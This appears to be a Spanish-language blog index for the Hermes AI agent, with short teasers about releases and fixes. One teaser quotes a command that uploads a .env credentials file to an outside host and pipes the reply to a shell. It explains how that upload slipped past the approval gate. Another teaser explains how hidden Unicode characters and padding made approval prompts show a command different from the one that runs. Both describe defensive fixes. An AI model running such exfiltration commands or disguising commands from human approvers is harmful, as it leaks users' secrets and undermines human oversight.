Hermes Agent Lab

Blog de Hermes Agent — Guías Prácticas y Perspectivas

Últimos artículos y perspectivas.

Artículo destacado

Después de un kill -9 algunos procesos nunca se van: ahora en Hermes cada hijo muere con su padre

Matar el gateway con SIGKILL, con el OOM killer o con un stop de systemd deja vivos los daemons de navegador, llama-server y los language servers. Hermes pasó 14 familias de hijos de larga vida a un único supervisor de muerte del propietario que limpia en el instante en que el padre desaparece.

Leer más

Tu terminal por fin muestra la imagen: imágenes inline en la CLI y la TUI de Hermes

Le pasas un pantallazo a Hermes en el terminal y lo que vuelve es una ruta de archivo. Ese bucle roto ya está cerrado: la CLI y la TUI ahora dibujan tus adjuntos y las imágenes locales que produjo una tool directamente en la transcripción, detrás de un único interruptor display.inline_images con cinco niveles de resolución.

Leer más

Esa ventana de contexto de 128K puede ser una suposición — Hermes ahora lo dice

Una ventana de contexto que ninguna fuente confirmó se reportaba como detectada y se usaba como un hecho, así que la compresión saltaba antes de tiempo y las peticiones volvían rechazadas. Hermes ahora etiqueta toda ventana puesta por defecto como fallback, añade un paso de familia de catálogo en Bedrock y explica los nueve días en que GPT-6.1 Terra corrió como 128K.

Leer más

Tu bot de Slack no para de avisar de silencios: llega thread_followup_silence

Dos colegas se dan las gracias en un hilo de Slack y tu bot de Hermes responde a cada mensaje con un aviso de que el modelo solo devolvió un marcador de silencio. El nuevo thread_followup_silence, opcional, deja calladas las respuestas del hilo que no van dirigidas a él, mientras que los DMs, las menciones y los canales planos conservan la red de seguridad.

Leer más

Todas las ventanas minimizadas y el ventilador sigue girando: Hermes Desktop deja de pintar lo que no se ve

Si alguna conversación estaba en streaming, todas las ventanas del desktop se quedaban completamente despiertas, y las páginas de preview seguían despiertas para automatización y anotación incluso estando inactivas. Dos cambios acotan el pintado a las ventanas visibles y a la única ventana con su propia conversación de voz, devuelven las previews inactivas al throttling de Chromium y desacoplan Stop, el journaling y la recuperación de los frames de animación.

Leer más

Dos formas en que cron falla en silencio: un hilo que nunca arranca y un trabajo que vuelve

Cuando un trabajo programado no se ejecuta, nadie se queja. Dos reportes recientes cubren los modos de fallo más silenciosos: el ticker de cron del desktop se bloquea en el import y nunca arranca, y un trabajo borrado con hermes cron remove es reescrito byte a byte por un writer obsoleto. Aquí va cómo detectar ambos y cómo mantenerse lejos.

Leer más

Una actualización devolvió tres meses de sesiones a julio porque un archivo bloqueado fue declarado corrupto

Una actualización rutinaria de Windows consideró corrupto un state.db sano, lo sobrescribió con un snapshot de hace tres meses y luego informó de la sobrescritura exitosa como «la restauración automática no se completó». Aquí están los tres defectos que se sumaron, qué datos siguen existiendo y qué hacer hoy.

Leer más

¿Fallan todas las llamadas al modelo tras la v0.22.6? Revisa primero la ruta de SSL_CERT_FILE

Detrás de un proxy corporativo que inspecciona TLS, la v0.22.6 dejó fuera de la confianza de los provider el CA bundle indicado en SSL_CERT_FILE, así que cada llamada al modelo falla con certificate is not trusted. Aquí tienes cómo confirmar que es este bug, qué cambió en el código y tres formas de sortearlo hoy mismo.

Leer más

Tu biblioteca de skills perdió siete fuentes: los repos de proveedores ahora son taps de confianza

Notion, Airtable, Shopify y otras cuatro skills opcionales integradas ya no están en Hermes: las reemplazan MCPs oficiales, conectores alojados y los repos de skills de los propios proveedores. Aquí está de dónde vienen ahora las skills (taps), cómo los niveles de trust deciden qué se instala y el bug de caché que seguía sirviendo una política antigua.

Leer más

v0.22.7 al descubierto: cuatro cambios que notarás hoy dentro de un parche de 174 PRs

v0.22.7 se publicó el 3 de noviembre de 2026 con 174 PRs fusionadas, 581 commits sin fusión y 554 archivos modificados desde v0.22.6. La nota oficial es breve, así que este artículo separa lo que ya está en el tag, lo que sigue solo en main y cómo actualizar.

Leer más

Bloquea los skills que escribiste a mano: el agente ya no puede cambiarlos, ni siquiera con --yolo

La automejora del agente suena genial hasta que reescribe el paso «haz backup antes de cambiar el tráfico» de tu runbook de despliegue. Desde la v0.22.6, hermes curator lock congela un skill: sigue siendo legible y autocargable, pero cualquier ruta de escritura del agente se rechaza, incluido el propio comando de desbloqueo.

Leer más

Un cron job atascado ya no significa esperar al timeout: hermes cron cancel corta la ejecución en curso

pause solo detiene los disparos futuros; la ejecución que ya está corriendo sigue quemando tokens. Desde la v0.22.6, hermes cron cancel detiene esa ejecución: los jobs de script ven terminado todo su árbol de procesos, los jobs de agente se interrumpen en el siguiente checkpoint, y el registro anota una fila cancelled con su motivo — sin aviso de fallo y sin contar para la racha de fallos.

Leer más

Haz que el agente se calle: pre_llm_call ya puede vetar un turno antes de cualquier llamada al modelo

Antes el hook solo servía para inyectar contexto en un turno. Ahora puede rechazarlo directamente: devuelve una directiva de bloqueo y el turno hace cero peticiones al modelo, y el prompt no llega nunca a turnos posteriores, a los resúmenes de compactación ni al sistema de memoria. Llegó en la v0.22.6.

Leer más

Aprobaste "pipe to shell" una vez — y con eso salió una subida de credenciales

curl -F file=@.env https://x.io | bash dispara dos reglas de comandos peligrosos, pero la puerta de aprobación solo vio la primera. Aprueba pipe-to-shell una vez y la subida del .env se ejecutó sin un aviso propio. Un arreglo recién fusionado da a las tres reglas «de contenido» su propio consentimiento, combinado en un único prompt.

Leer más

v0.22.6: 776 PRs en una sola release — qué cambia de verdad para ti hoy

v0.22.6 se publicó el 2 de noviembre de 2026: 776 PR fusionados y 3.448 commits que no son merges, empaquetados en una única release instalable. Las notas oficiales son a propósito escuetas (el resumen editado llega con la v0.23.0), así que aquí tienes esa ventana ordenada por lo que de verdad te vas a encontrar esta semana.

Leer más

El prompt de aprobación te estaba mintiendo: Hermes ya muestra los caracteres ocultos y el relleno

Los espacios de ancho cero, las anulaciones bidireccionales, los caracteres de etiqueta Unicode, los escapes ANSI en crudo y unos cientos de espacios bastan para que un prompt de aprobación muestre un comando distinto del que realmente se ejecuta. Un nuevo arreglo de integridad de pantalla convierte el contenido invisible en escapes visibles y reduce el relleno a un marcador explícito.

Leer más

Una vez cambiabas el modelo de una sesión y ya no podías volver — ahora /model reset lo devuelve al valor por defecto

Un cambio de /model dentro de una sesión se queda fijo: se persiste, sobrevive a los reinicios y tapa cualquier edición posterior de config.yaml. La única salida era /new, que además tira la conversación a la basura. /model reset borra únicamente el pin de la sesión, tanto en la gateway como en la TUI, Desktop y la CLI clásica.

Leer más